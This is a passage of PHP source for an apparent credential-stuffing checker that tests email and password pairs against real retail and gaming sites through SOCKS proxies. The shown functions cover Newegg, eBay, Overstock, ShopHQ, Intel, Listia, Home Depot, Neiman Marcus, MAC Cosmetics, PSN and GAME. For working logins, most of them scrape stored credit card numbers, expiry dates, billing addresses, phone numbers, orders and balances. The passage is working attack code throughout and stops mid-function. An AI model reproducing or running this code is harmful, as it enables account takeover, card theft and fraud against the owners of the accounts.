1531 $info['expm'] = $matches2[1][1] . '/' . $matches2[1][2];
1532 $info['fn'] = $matches[2][8];
1533 $info['ln'] = $matches[2][9];
1534 $info['addr1'] = $matches[2][10];
1535
1536 if (count($matches[2]) > 18)
1537 {
1538 $info['addr2'] = $matches[2][11];
1539 $info['city'] = $matches[2][12];
1540 $info['state'] = $matches2[1][3];
1541 $info['zip'] = $matches[2][13];
1542 $info['phone'] = $matches[2][14] . '-' . $matches[2][15] . '-' . $matches[2][16];
1543 } else
1544 {
1545 $info['city'] = $matches[2][11];
1546 $info['state'] = $matches2[1][3];
1547 $info['zip'] = $matches[2][12];
1548 $info['phone'] = $matches[2][13] . '-' . $matches[2][14] . '-' . $matches[2][15];
1549 }
1550 if($info['type'] == "Macys Card")
1551 {
1552 unset($info['expm']);
1553 }
1554
1555 $cc[] = implode(' | ', $info);
1556 }
1557 if (count($cc) < 1)
1558 {
1559 $cc[] = 'No Card Or Expired';
1560 $result['error'] = -1;
1561 }else{
1562 $result['error'] = 0;
1563 }
1564 foreach ($cc as $line) {
1565 $return .= "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | <font color=lime>$line</font>xuongcmndong";
1566 }
1567
1568 return $return;
1569 } elseif (strpos($page, "Please try again") || strpos($page,"We're sorry")) {
1570 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
1571 '<br>';
1572 $tdie++;
1573 } else {
1574 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
1575 '|' . '<br>';
1576 }
1577 flush(); ob_flush();
1578
1579 $curl->close();
1580 unset($curl); // destroy object
1581 }
1582 else
1583 {
1584 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
1585 '|' . '<br>';
1586 }
1587}
1588function newegg($m,$p,$sock)
1589{
1590 $curl = new curl;
1591 $curl->cookiefile(null);
1592 $curl->timeout("30");
1593 if($sock) {$curl->proxy($sock);}
1594 $curl->ssl(0, 2);
1595
1596 $url1 = "https://secure.m.newegg.com/Account/Login";
1597
1598
1599 $page = $curl->get($url1);
1600 if ($page) {
1601
1602 $data = "historylength=1&UserName=$m&Password=$p&RememberMe=false&Url=http%3A%2F%2Fm.newegg.com%2F&ForCheckOut=False";
1603 $page = $curl->post($url1, $data, 1, 1, 0);
1604
1605
1606 if (!strpos($page, "Your Login ID and/or Password could not be found or are invalid. We apologize for any inconvenience.")) {
1607
1608 $page = $curl->get('https://secure.m.newegg.com/Payment/Index');
1609
1610 $card = getStr($page,'<div class="groupCell colorOrang">','</dl>');
1611 $card = strip_tags($card);
1612 $card = str_replace("\n", "", $card);
1613 $card = "<font color=lime>[ ".$card." ]</font>";
1614 if($card == '')
1615 {
1616 $card = 'No Card';
1617 }
1618 $page = $curl->get('https://secure.m.newegg.com/Order/OrderList?Option=120');
1619 if(strpos($page,'No results were found within the period specified. Please adjust the date range or search criteria and try again.'))
1620 {
1621 $card .= ' | No Order';
1622 }
1623 else
1624 {
1625 //return $page;
1626 $card .= " | <font color=red>".getStr($page,'<p class="DateWord">','</p>')." ".getStr($page,'<input name="SOStatus" type="hidden" value="','"')."</font>";
1627 }
1628
1629 $page = $curl->get('https://secure.m.newegg.com/Address/Billing');
1630 $firstname = getStr($page,'name="FirstName" onchange="NeweggMobile.ShippingAddress.setContactWith();" type="text" value="','"');
1631 $lastname = getStr($page,'name="LastName" onchange="NeweggMobile.ShippingAddress.setContactWith();" type="text" value="','"');
1632 $address = getStr($page,'name="Address1" type="text" value="','"');
1633 $city = getStr($page,'name="City" type="text" value="','"');
1634 $state = getStr($page,'<select class="InputState" data-role="none" data-val="true" data-val-required="Your state has not been selected" id="State" name="State"><option value="">Select a state.</option>','</select>');
1635 $statex = getStr($state,'selected="selected" value="','"');
1636 $info = $firstname." ".$lastname." ".$address." ".$city." ".$statex;
1637
1638
1639 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $card | $info | ";
1640 } elseif (strpos($page, "Your Login ID and/or Password could not be found or are invalid. We apologize for any inconvenience.")) {
1641 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
1642 '<br>';
1643 $tdie++;
1644 } else {
1645 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
1646 '|' . '<br>';
1647 }
1648 flush(); ob_flush();
1649
1650 $curl->close();
1651 unset($curl); // destroy object
1652 }
1653 else
1654 {
1655 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
1656 '|' . '<br>';
1657 }
1658}
1659
1660function ebay2($m,$p,$sock)
1661{
1662 $curl = new curl;
1663 $curl->cookiefile(null);
1664 $curl->timeout("30");
1665 if($sock) {$curl->proxy($sock);}
1666 $curl->ssl(0, 2);
1667
1668 $url1 = "https://scgi.ebay.com/V4Ajax";
1669 $data = "svcid=REG_REDESIGN_SERVICE&v=0&reqttype=JSON&resptype=JSON&clientType=Firefox:22:&request=%7B%22requestMap%22%3A%7B%22email%22%3A%22$m%22%2C%22countryId%22%3A%221%22%7D%2C%22mode%22%3A5%2C%22pgReg%22%3A%22true%22%7D";
1670 $page = $curl->post($url1, $data, 1, 1, 0);
1671 if ($page) {
1672 if (strpos($page, "email")) {
1673 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@";
1674 } elseif (!strpos($page, "email")) {
1675 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
1676 '<br>';
1677 $tdie++;
1678 } else {
1679 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
1680 '|' . '<br>';
1681 }
1682 flush(); ob_flush();
1683
1684 $curl->close();
1685 unset($curl); // destroy object
1686 }
1687 else
1688 {
1689 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
1690 '|' . '<br>';
1691 }
1692}
1693function overstock($m,$p)
1694{
1695 //pycoder@live.com|quocthang1
1696 $curl = new curl;
1697 $curl->cookiefile(null);
1698 $curl->timeout("30");
1699 //$curl->proxy($sock);
1700 $curl->ssl(0, 2);
1701 $url1 = "https://www.overstock.com/myaccount";
1702 $page = $curl->get($url1);
1703 if ($page) {
1704 $curl->referer("https://www.overstock.com/myaccount?TID=SIGNIN");
1705 $data = "bvkey_myacckey=myacckey&myacckey=order_info&bvkey_TID=TID&TID=SIGNIN&loggingin=true&processlogin=true&cst_email=$m&cst_password=$p&submit=Sign+In";
1706 $page = $curl->post($url1, $data, 1, 1, 0);
1707
1708 if (strpos($page, 'Order History')) {
1709 if(strpos($page,'There are currently no orders on file.'))
1710 {
1711 $order = "No Order";
1712 }
1713 else
1714 {
1715 $order = getStr($page,'class="status hasTooltip "','</a>');
1716 $order = explode('"">',$order);
1717 $order = getStr($page,'class="date " title="View this order" "">','</a>')."-".$order[1];
1718 }
1719 $page = $curl->get("https://www.overstock.com/myaccount?myacckey=account_overview");
1720 $billadd = getStr($page,'Billing Address:','</tr>');
1721 $billadd = str_replace(array("\n"), "", strip_tags($billadd));
1722 $giftblance = getStr($page,'<td><div class="label">Gift Card Balance:</div></td>','</tr>');
1723 $giftblance = strip_tags($giftblance);
1724
1725 $url = "http://www.overstock.com/cart";
1726 $post = "addid5333766=7292367&war5333766=&addqty5333766=1&BUY.x=28&BUY.y=7&originUrl=&zip_code=Enter+Zip&zip_code=Change+Zip";
1727 $page = $curl->post($url, $post, 1, 1, 0);
1728 $page = $curl->get("https://www.overstock.com/checkout");
1729 $month = explode(" ",getStr(getStr($page,'<select name="exp_month" id="exp_month" class="">','</select>'),'selected="selected">','</option>'));
1730 if($month[0] == "")
1731 {
1732 $cc = "No Card";
1733 }
1734 else
1735 $cc = getStr(getStr($page,'id="CC_number"','type="text"'),'value="','"')." ".$month[0]."/".getStr(getStr($page,'<select name="exp_year" id="exp_year" class="">','</select>'),'selected="selected">','</option>');
1736 return "<font color=yellow><b>Live</b></font> | $m | $p @@@@ | $order | [ $cc ] | $billadd | Gift Balance: $giftblance";
1737 }
1738 elseif (strpos($page, 'Email and/or password incorrect')) {
1739 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
1740 '<br>';
1741 $tdie++;
1742 } else {
1743 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
1744 '|' . '<br>';
1745 }
1746 flush(); ob_flush();
1747
1748 $curl->close();
1749 unset($curl); // destroy object
1750 }
1751}
1752function shopnbc($m,$p,$sock)
1753{
1754 $curl = new curl;
1755 $cookie = tempnam('cookie','die'.rand(100000000000,999999999999) .'.txt');
1756 $curl->cookiefile($cookie);
1757 $curl->timeout("30");
1758 if($sock) {$curl->proxy($sock);}
1759 $curl->ssl(0, 2);
1760 $url1 = "https://www.shophq.com/Authenticate/LogIn.aspx?target=Customer&action=LogIn&CustomerType=Returning&ReturnUrl=http%3a%2f%2fwww.shophq.com%2f";
1761
1762 $page = $curl->get($url1);
1763 if ($page) {
1764 $state = getStr($page,'id="__VIEWSTATE" value="','"');
1765 $data = "__VIEWSTATE=$state&__VIEWSTATEENCRYPTED=&ctl00%24ctl00%24BaseMasterMiddlePH%24globalNav1%24txtSearchString=Search+by+Item+%23+or+Keyword&ctl00%24ctl00%24BaseMasterMiddlePH%24AuthenticateMasterPH%24uctableborder1%24CustomerEmail=$m&ctl00%24ctl00%24BaseMasterMiddlePH%24AuthenticateMasterPH%24uctableborder1%24CustomerPassword=$p&LoginAttemptsInput=0&ctl00%24ctl00%24BaseMasterMiddlePH%24AuthenticateMasterPH%24uctableborder1%24RememberMeInput=on&ctl00%24ctl00%24BaseMasterMiddlePH%24AuthenticateMasterPH%24uctableborder1%24OCNInput=&ctl00%24ctl00%24BaseMasterMiddlePH%24AuthenticateMasterPH%24uctableborder1%24PhoneNumberAreaCode=&ctl00%24ctl00%24BaseMasterMiddlePH%24AuthenticateMasterPH%24uctableborder1%24PhoneNumberPreFix=&ctl00%24ctl00%24BaseMasterMiddlePH%24AuthenticateMasterPH%24uctableborder1%24PhoneNumberPostFix=&ctl00%24ctl00%24BaseMasterMiddlePH%24AuthenticateMasterPH%24uctableborder1%24NewEmailAddress=&ctl00%24ctl00%24BaseMasterMiddlePH%24AuthenticateMasterPH%24LoginTypeInput=EXISTING&ctl00%24ctl00%24BaseMasterMiddlePH%24FooterTop1%24ucCustomerService%24txtFooterSearchTextBox=Search+by+Item+%23+or+Keyword";
1766 $page = $curl->post($url1, $data, 1, 1, 0);
1767 //echo $page;
1768 if (!strpos($page, 'do not match')) {
1769
1770 $page = $curl->get("https://www.shophq.com/MyAccount/?target=Customer&action=ViewAddressBook&cm_re=Settings-_-Address-_-N");
1771 $add = strip_tags(getStr($page,'<table cellpadding="2" cellspacing="0">','Edit'));
1772
1773 $page = $curl->get("https://www.shophq.com/MyAccount/?target=Customer&action=ViewCreditCards&cm_re=Settings-_-CreditInfo-_-N");
1774 $cc = strip_tags(getStr($page,'<span id="BaseMasterMiddlePH_MyAccountMasterPH_rprCards_creditCard_0_lblCreditCard_0">','Billing Address:'));
1775
1776 $page = $curl->get("https://www.shophq.com/MyAccount/?target=Customer&action=ViewOrderHistory&cm_re=MyOrders-_-History-_-N");
1777 if(strpos($page,'There are no orders on this account.'))
1778 {
1779 $order = "No Order";
1780 }
1781 else $order = strip_tags((getStr(getStr($page,'<td class="padding8"><a href="javascript:openPopWin(','<td class="padding8" align="center"></td>'),'<td class="padding8">','</td>')));
1782
1783 $info = "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $order | $cc | $add";
1784 return $info;
1785 }
1786 elseif (strpos($page, 'do not match')) {
1787 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
1788 '<br>';
1789 $tdie++;
1790 } else {
1791 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
1792 '|' . '<br>';
1793 }
1794 flush(); ob_flush();
1795
1796 $curl->close();
1797 unset($curl); // destroy object
1798 }
1799 else
1800 {
1801 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
1802 '|' . '<br>';
1803 }
1804}
1805function intel($m,$p,$sock)
1806{
1807 $curl = new curl;
1808 $cookie = tempnam('cookie','die'.rand(100000000000,999999999999) .'.txt');
1809 $curl->cookiefile($cookie);
1810 $curl->timeout("30");
1811 if($sock) {$curl->proxy($sock);}
1812 $curl->ssl(0, 2);
1813 $url1 = "https://welcome.intel.com/login.aspx?appid=258&qlogin=true?&target=https://www-ssl.intel.com/content/www/vn/vi/homepage.html";
1814
1815 $page = $curl->get($url1);
1816 if ($page) {
1817
1818 $data = "txtUsername=$m&txtPassword=$p&button=";
1819 $page = $curl->post($url1, $data, 1, 1, 0);
1820 //echo $page;
1821 if (!strpos($page, 'was not recognized')) {
1822
1823
1824 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ ";
1825 }
1826 elseif (strpos($page, 'was not recognized')) {
1827 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
1828 '<br>';
1829 $tdie++;
1830 } else {
1831 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
1832 '|' . '<br>';
1833 }
1834 flush(); ob_flush();
1835
1836 $curl->close();
1837 unset($curl); // destroy object
1838 unlink($cookie);
1839 }
1840 else
1841 {
1842 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
1843 '|' . '<br>';
1844 }
1845}
1846function listia($m,$p,$sock)
1847{
1848 $curl = new curl;
1849 $cookie = tempnam('cookie','die'.rand(100000000000,999999999999) .'.txt');
1850 $curl->cookiefile($cookie);
1851 $curl->timeout("30");
1852 if($sock) {$curl->proxy($sock);}
1853 $curl->ssl(0, 2);
1854 $url1 = "https://www.listia.com/login";
1855 $user = rm($m);
1856 $page = $curl->get($url1);
1857 if ($page) {
1858 $curl->referer($url1);
1859 $token = getStr($page,'authenticity_token" type="hidden" value="','"');
1860 $token = urlencode($token);
1861
1862 $data = "utf8=%E2%9C%93&authenticity_token=$token&login=$user&password=$p&commit=Login";
1863 $page = $curl->post($url1, $data, 1, 1, 0);
1864 //echo $page;
1865 if (!strpos($page, 'incorrect')) {
1866 $credit = getStr($page,'<a href="/support/topic/faq1#credits_available"><div class=\'menu\'>',"</span></b>");
1867 $credit = strip_tags($credit);
1868
1869 return "<font color=yellow><b>Live</b></font> | $sock | $user | $p | $m @@@@ | $credit";
1870 }
1871 elseif (strpos($page, 'incorrect')) {
1872 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
1873 '<br>';
1874 $tdie++;
1875 } else {
1876 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
1877 '|' . '<br>';
1878 }
1879 flush(); ob_flush();
1880
1881 $curl->close();
1882 unset($curl); // destroy object
1883 unlink($cookie);
1884 }
1885 else
1886 {
1887 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
1888 '|' . '<br>';
1889 }
1890}
1891function homedepot($m,$p,$sock)
1892{
1893 //pycoder@live.com|quocthang
1894
1895 $curl = new curl;
1896 $cookie = tempnam('cookie','acc'.rand(1000000,9999999).'die.txt');
1897 $curl->cookiefile($cookie);
1898 $curl->timeout("30");
1899 if($sock) {$curl->proxy($sock);}
1900 $curl->ssl(0, 2);
1901 $url1 = "https://secure2.homedepot.com/webapp/wcs/stores/servlet/THDLogon?URL=http://www.homedepot.com/b/webapp/catalog/servlet/HomePageView?storeId=10051&catalogId=10053&langId=-1&viewTaskName=LogonForm&storeId=10051&langId=-1&catalogId=10053";
1902 $page = $curl->get($url1);
1903 if ($page) {
1904
1905 $data = "reLogonURL=LogonForm&personalizedCatalog=true&page=&grURL=&URL=http%3A%2F%2Fwww.homedepot.com%2Fb%2Fwebapp%2Fcatalog%2Fservlet%2FHomePageView%3FstoreId%3D10051%26catalogId%3D10053%26langId%3D-1%26viewTaskName%3DLogonForm&pkupOrdId=&curZipCode=&rememberMe=true&RegisterURL=https%3A%2F%2Fsecure2.homedepot.com%2Fwebapp%2Fwcs%2Fstores%2Fservlet%2FUserRegistrationForm%3FstoreId%3D10051%26langId%3D-1%26catalogId%3D10053%26new%3DY&logonId=".urlencode($m)."&logonPassword=".urlencode($p);
1906 $page = $curl->post($url1, $data, 1, 1, 0);
1907
1908 if (!strpos($page, 'incorrect')) {
1909 $url2 = "https://secure2.homedepot.com/webapp/wcs/stores/servlet/OrderSummary";
1910 $data = "storeId=10051&langId=-1&catalogId=10053&newPage=false&orderType=online";
1911 $page = $curl->post($url2, $data, 1, 1, 0);
1912 $order = getStr($page,'ordNum":"','"');
1913 if($order != '')
1914 {
1915 $order = $order."-".getStr($page,'ordStatus":"','"');
1916 }
1917 else
1918 {
1919 $order = "No Order";
1920 }
1921 $page = $curl->get("https://secure2.homedepot.com/webapp/wcs/stores/servlet/AddressBookForm?storeId=10051&langId=-1&catalogId=10053");
1922
1923 $bill = getStr($page,'"firstName":"','"')."".getStr($page,'"lastName":"','"')." | ".getStr($page,'"address1":"','"')." | ".getStr($page,'"city":"','"')." | ".getStr($page,'"state":"','"')." | ".getStr($page,'"zipcode":"','"')." | ".getStr($page,'"country":"','"')." | ".getStr($page,'"phone1":"','"');
1924 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $order | $bill";
1925
1926 }
1927 elseif (strpos($page, 'incorrect')) {
1928 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
1929 '<br>';
1930 $tdie++;
1931 } else {
1932 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
1933 '|' . '<br>';
1934 }
1935 flush(); ob_flush();
1936
1937 $curl->close();
1938 unset($curl); // destroy object
1939 }
1940 else
1941 {
1942 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
1943 '|' . '<br>';
1944 }
1945}
1946function neiman($m,$p,$sock)
1947{
1948 $curl = new curl;
1949 $curl->cookiefile(null);
1950 $curl->timeout("30");
1951 if($sock){$curl->proxy($sock);}
1952 $curl->ssl(0, 2);
1953 $url1 = "https://www.neimanmarcus.com/account/login.jsp";
1954 $url2 = "https://www.neimanmarcus.com/min.jsp?_DARGS=/page/account/login.jsp";
1955
1956 $page = $curl->get($url1);
1957 if ($page) {
1958 $sess = getStr($page,'name="_dynSessConf" value="','"');
1959
1960 $data = "_dyncharset=ISO-8859-1&_dynSessConf=$sess&%2Fatg%2Fuserprofiling%2FProfileFormHandler.value.login=".urlencode($m)."&_D%3A%2Fatg%2Fuserprofiling%2FProfileFormHandler.value.login=+&%2Fatg%2Fuserprofiling%2FProfileFormHandler.value.password=$p&_D%3A%2Fatg%2Fuserprofiling%2FProfileFormHandler.value.password=+&%2Fatg%2Fuserprofiling%2FProfileFormHandler.login=Submit&_D%3A%2Fatg%2Fuserprofiling%2FProfileFormHandler.login=+&_DARGS=%2Fpage%2Faccount%2Flogin.jsp";
1961 $page = $curl->post($url2, $data, 1, 1, 0);
1962 $page = $curl->get("https://www.neimanmarcus.com/account/account.jsp?view=pay");
1963 if (!strpos($page, 'invalid') && !strpos($page,'Sign In') && !strpos("incorrect")) {
1964
1965 preg_match_all("/<div class=\"payment\" id=\"(.*)\">/", $page, $array);
1966 foreach ($array[1] as $line) {
1967 $encode = base64_encode('{"PaymentReq":{"mobile":false,"creditCard":"'.$line.'"}}');
1968 $encode = str_replace("==", "", $encode);
1969 $url = "https://www.neimanmarcus.com/account.service";
1970 $post = 'data=$b64$'.$encode."&service=retrieveEditPayment×tamp=1385756788691";
1971 $page = $curl->post($url, $post, 1, 1, 0);
1972 $ccn = getStr($page,'<input id=\"card_number\" name=\"\/atg\/userprofiling\/ProfileFormHandler.editValue.creditCardNumber\" value=\"','\"');
1973 $exp = getStr($page,'<input id=\"exp_date\" maxlength=\"7\" name=\"\/atg\/userprofiling\/ProfileFormHandler.editValue.expirationDate\" value=\"','\"');
1974 $exp = str_replace('\/', '/', $exp);
1975 $name = getStr($page,'name=\"\/atg\/userprofiling\/ProfileFormHandler.editValue.firstName\" value=\"','\"')." ".getStr($page,'userprofiling\/ProfileFormHandler.editValue.lastName\" value=\"','\"');
1976 $add = getStr($page,'name=\"\/atg\/userprofiling\/ProfileFormHandler.editValue.address1\" value=\"','\"');
1977 $city = getStr($page,'\/ProfileFormHandler.editValue.city\" value=\"','\"');
1978 $state = getStr(getStr($page,'<label>State<\/label>','Province (Non-US)'),'<option selected value=\"','\"');
1979 $country = getStr(getStr($page,'<select id=\"registration_country\"','Province (Non-US)'),'<option selected value=\"','\"');
1980 $phone = getStr($page,'name=\"\/atg\/userprofiling\/ProfileFormHandler.editValue.phoneNumber\" value=\"','\"');
1981
1982 $cc .= "[ ".$ccn." | ".$exp." | ".$name." | ".$add." | ".$city." | ".$state." | ".$phone." | ".$country." ] ";
1983 }
1984
1985 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | Total Cards: ".count($array[1])." | $cc";
1986
1987 }
1988
1989 elseif (strpos($page, 'invalid') || !strpos($page,'Sign In') || !strpos("incorrect")) {
1990 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
1991 '<br>';
1992 $tdie++;
1993 } else {
1994 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
1995 '|' . '<br>';
1996 }
1997 flush(); ob_flush();
1998
1999 $curl->close();
2000 unset($curl); // destroy object
2001 }
2002 else
2003 {
2004 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
2005 '|' . '<br>';
2006 }
2007}
2008function maccosmetics($m,$p,$sock)
2009{
2010 $curl = new curl;
2011 $curl->cookiefile(null);
2012 $curl->timeout("30");
2013 if($sock){$curl->proxy($sock);}
2014 $curl->ssl(0, 2);
2015 $url1 = "https://www.maccosmetics.com/account/signin.tmpl";
2016
2017
2018 $page = $curl->get($url1);
2019 if ($page) {
2020
2021 $data = "_SUBMIT=signin&LOSTPWMODE=signin&RETURN_URL=&EMAIL_ADDRESS=$m&PASSWORD=$p&x=134&y=12";
2022 $page = $curl->post($url1, $data, 1, 1, 0);
2023
2024 if (!strpos($page, 'Existing Customers and Pro members')) {
2025 $page = $curl->get("https://www.maccosmetics.com/account/payment_info/index.tmpl");
2026
2027 preg_match_all("/<div class=\"card_type\">(.*)<\/div>/", $page, $type);
2028 preg_match_all("/<div class=\"card_number\">(.*)<\/div>/", $page, $ccnum);
2029 preg_match_all("/<div class=\"expires\">(.*)<\/div>/", $page, $exp);
2030 $i = 0;
2031 while($i < count($type[1]))
2032 {
2033 $card .= "[".$type[1][$i]."-".$ccnum[1][$i]."-".$exp[1][$i]."] ";
2034 $i++;
2035 }
2036 $bill = getStr($page,'<div class="address_data">','<div class="phone2">');
2037 $bill = strip_tags($bill);
2038 $page = $curl->get("https://www.maccosmetics.com/account/order_history/index.tmpl");
2039
2040 if(strpos($page,'You have no orders.'))
2041 {
2042 $order = "No Order";
2043 }
2044 else
2045 {
2046 $order = getStr($page,'<td class="order_date">','</tr>');
2047 $order = str_replace("</td>", "-", $order);
2048 $order = strip_tags($order);
2049 }
2050 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $order | $card | $bill";
2051 }
2052
2053 elseif (strpos($page, 'Existing Customers and Pro members') || !strpos($page,'Sign In') || !strpos("incorrect")) {
2054 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
2055 '<br>';
2056 $tdie++;
2057 } else {
2058 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
2059 '|' . '<br>';
2060 }
2061 flush(); ob_flush();
2062
2063 $curl->close();
2064 unset($curl); // destroy object
2065 }
2066 else
2067 {
2068 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
2069 '|' . '<br>';
2070 }
2071}
2072function psn($m,$p,$sock)
2073{
2074 $curl = new curl;
2075 $curl->cookiefile(null);
2076 $curl->timeout("30");
2077 if($sock){$curl->proxy($sock);}
2078 $curl->ssl(0, 2);
2079 $url1 = "https://account.sonyentertainmentnetwork.com/external/auth/login.action?request_locale=en_US&service-entity=psn&returnURL=https://us.playstation.com/uwps/PSNTicketRetrievalGenericServlet";
2080 $url2 = "https://account.sonyentertainmentnetwork.com/liquid/external/auth/login!authenticate.action";
2081
2082 $page = $curl->get($url1);
2083 if ($page) {
2084 $token = getStr($page,'name="struts.token" value="','"');
2085
2086 $data = "struts.token.name=struts.token&struts.token=$token&returnURL=https%3A%2F%2Fus.playstation.com%2Fuwps%2FPSNTicketRetrievalGenericServlet&cancelURL=https%3A%2F%2Fus.playstation.com%2Fuwps%2FPSNTicketRetrievalGenericServlet&j_username=$m&j_password=$p&service-entity=psn";
2087 $page = $curl->post($url2, $data, 1, 1, 0);
2088
2089 if (!strpos($page, 'Incorrect') || !strpos($page,'Sign In')) {
2090 $page = $curl->get("https://account.sonyentertainmentnetwork.com/liquid/cam/account/mywallet/view-wallet.action?displayNavigation=false");
2091 $balance = getStr($page,'<section id="grayBoxWalletFunds" class="formValue grayBoxFormPadding tooltipFieldWidth">','</section>');
2092 if($balance == "")
2093 {
2094 $token = getStr($page,'name="struts.token" value="','"');
2095 $url3 = "https://account.sonyentertainmentnetwork.com/liquid/eula.action";
2096 $post = "struts.token.name=struts.token&struts.token=$token";
2097 $page = $curl->post($url3, $post, 1, 1, 0);
2098 $balance = getStr($page,'<section id="grayBoxWalletFunds" class="formValue grayBoxFormPadding tooltipFieldWidth">','</section>');
2099 }
2100
2101 $get = getStr($page,'<label id="lastFundedLabel">','</section>');
2102 $get = strip_tags($get);
2103 $history = "Have Order";
2104 $page = $curl->get("https://account.sonyentertainmentnetwork.com/liquid/cam/account/transactions/history-list.action?displayNavigation=false");
2105 if(inStr($page,'No transactions were found.'))
2106 {
2107 $history = "No Order";
2108 }
2109 return "<font color=yellow><b>Live</b></font> | $sock | $m | $p @@@@ | $balance | $history | $get";
2110
2111 }
2112
2113 elseif (strpos($page, 'Incorrect')) {
2114 return '<font color=red>Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p . ' | ' .
2115 '<br>';
2116 $tdie++;
2117 } else {
2118 return '<font color=pink>Unknow</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
2119 '|' . '<br>';
2120 }
2121 flush(); ob_flush();
2122
2123 $curl->close();
2124 unset($curl); // destroy object
2125 }
2126 else
2127 {
2128 return '<font color=red>Socks Die</font> ==> ' . $sock . ' | ' . $m . ' | ' . $p .
2129 '|' . '<br>';
2130 }
2131}
2132function game($m,$p,$sock)
2133{
2134 $curl = new curl;
2135 $curl->cookiefile(null);
2136 $curl->timeout("30");
2137 if($sock){$curl->proxy($sock);}
2138 $curl->ssl(0, 2);
2139 $url1 = "https://www.game.co.uk/webapp/wcs/stores/servlet/Logon";
2140 $url2 = "";
2141
2142 $page = $curl->get($url1);
2143 if ($page) {
2144
2145 $data = "storeId=10151&catalogId=10201&langId=44&reLogonURL=LogonForm&myAcctMain=1&fromOrderId=*&toOrderId=.&deleteIfEmpty=&continue=1&createIfEmpty=1&calculationUsageId=-1&updatePrices=0&errorViewName=&previousPage=logon&returnPage=&rememberMe=false&URL=OrderItemMove%3Fpage%3Daccount%26calculationUsageId%3D-1%26calculationUsageId%3D-2%26calculationUsageId%3D-7%26URL%3DOrderCalculate%253FURL%253DAjaxLogonForm&accountLoginType=gameAccount&logonId=$m&logonPassword=$p";
2146 $page = $curl->post($url1, $data, 1, 1, 0);
2147
2148 if (!strpos($page, 'Error Summary') || !strpos($page,'Login to your GAME Account')) {
2149 $page = $curl->get("https://www.game.co.uk/webapp/wcs/stores/servlet/NonAjaxProfileFormView?catalogId=10201&mPayment=Display&langId=44&storeId=10151");
2150 preg_match_all("/<a class=\"update\" href=\"(.*)\">/", $page, $array);
2151 $total = count($array[1]);
2152 foreach ($array[1] as $line) {
2153 $page = $curl->get($line);
2154 $url = "https://www.game.co.uk/webapp/wcs/stores/servlet/ManagePayments";
2155 $id = getStr($page,'name="payinstId" value="','"');
2156 $storeid = getStr($page,'name="storeId" value="','"');
2157 $langid = getStr($page,'name="langId" value="','"');
2158 $cata = getStr($page,'name="catalogId" value="','"');
2159 $name = getStr($page,'id="name_on_card" value="','"');
2160 $account = getStr($page,'id="cardNumber" value="','"');
2161 $month = getStr($page,'<select name="expire_month" id="expire_month" value="','"');
2162 $year = getStr($page,'<select name="expire_year" id="expire_year" value="','"');
2163 $bill = getStr($page,'<label for="selectedBillingAddressId0">','</label>');
2164 $bill = explode(",",$bill);
2165 unset($bill[0]);
2166 $bill = implode(",", $bill);
2167 $post = "payinstId=$id&nickName=pyboiz%40yahoo.com&URL=NonAjaxProfileFormView&taskType=A&errorViewName=NonAjaxProfileFormView&storeId=$storeid&langId=$langid&catalogId=$cata&mPayment=Update&policyId=11101&name_on_card=".urlencode($name)."&account=$account&expire_month=$month&expire_year=$year&payType=VISA&selectedBillingAddressId=¤tNickName=pyboiz%40yahoo.com&usernickName=pyboiz%40yahoo.com&addressMode=lookup&international=true&country=US&address1=nha+ko+so&address2=&address3=&town=pho+ko+ten&county=CA&postCode=91770&addressId=34400820&createPayment=Update";
2168 $page = $curl->post($url, $post, 1, 1, 0);
2169 $ccnum = getStr($page,'name="account" id="cardNumber" value="','"');
